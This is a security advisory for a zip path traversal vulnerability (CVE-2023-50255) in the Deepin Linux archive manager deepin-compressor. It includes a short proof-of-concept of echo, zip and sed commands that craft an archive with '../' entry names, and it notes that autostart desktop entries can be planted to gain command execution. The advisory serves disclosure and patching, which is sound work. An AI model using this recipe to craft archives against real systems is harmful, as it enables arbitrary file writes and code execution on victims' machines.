Skip to content

Zip Path Traversal in Deepin-Compressor

High
BLumia published GHSA-rw5r-8p9h-3gp2 Dec 26, 2023

Package

deepin-compressor

Affected versions

< 5.12.21

Patched versions

5.12.21

Description

Summary

Deepin-Compressor is the default archive manager of Deepin Linux OS. There's a path traversal vulnerability in deepin-compressor that can be exploited to achieve Remote Command Execution on the target system upon opening crafted archives.

Details

While decompressing/extracting zip archives, deepin-compressor is not validating the file names. By adding one or more "../" as prefixes to the filenames will lead to path traversal. This leads to arbitrary file write and RCE.

PoC

Steps to create such zip archive:

  1. Create a file for traversal
echo "TEST" > XXYXXYXXYtmpYpoc.txt
  1. Make a normal zip archive
zip poc.zip XXYXXYXXYtmpYpoc.txt
  1. Craft malicious archive
sed -i s/"XXY"/"..\/"/g poc.zip
sed -i s/"tmpY"/"tmp\/"/g poc.zip

By following the above steps, you can create a malicious zip archive, upon extracting that archive, a file named poc.txt will e created under /tmp directory

Impact

Remote Command Execution: By exploiting the vulnerability an attacker can place malicious desktop entries under ~/.config/autostart to achieve RCE on the target.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2023-50255

Credits